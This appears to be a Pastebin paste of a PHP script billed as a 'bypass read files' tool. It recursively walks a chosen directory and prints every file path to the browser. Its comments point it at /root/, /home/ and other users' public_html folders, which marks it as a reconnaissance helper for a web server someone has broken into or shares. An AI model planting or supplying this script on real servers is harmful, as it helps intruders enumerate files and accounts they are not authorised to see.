Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- #// Bypass read files [R-5] 2016
- #// scriptr7.com
- #// twitter.com/scriptr7com
- #// r-5
- #// ONLY READ Dir !!! /root/ or /home/user/ or /
- #// Can't read files /etc/passwd !!
- #// But this time , Gonna show you all paths roots of dir
- #// EX:
- #// showmedir7('/');
- #// Gonna display all of paths and files and gonna takes long time
- #// For the Best just do : /home/ or /home/user/public_html/ to see all files and Dirs
- function showmedir7($d='.')
- {
- if (!is_dir($d)):return false;endif;
- $r7 = array();showme7($d, $r7);return $r7;
- }
- function showme7($d, &$r7)
- {
- $h = opendir($d);
- while (($f7 = readdir($h)) !== false):if ($f7 == '.' || $f7 == '..'):continue;endif;
- $sr7 = $d == '.' ? $f7 : $d . '/' . $f7;
- if (is_link($sr7)) continue;if (is_file($sr7))
- $r7[] = $sr7;else if (is_dir($sr7))showme7($sr7, $r7);endwhile;closedir($h);
- }
- #//////////////// Change this one to ///////////////#
- #/////////////// Whatever you want ///////////////////#
- #////////////// Try : /home/user/ or /home/ or /home/user/public_html////#
- $r7 = showmedir7('/scripts7.com');
- foreach ($r7 as $f):echo $f, "\n <br>";endforeach;
- ?>
Advertisement
Add Comment
Please, Sign In to add comment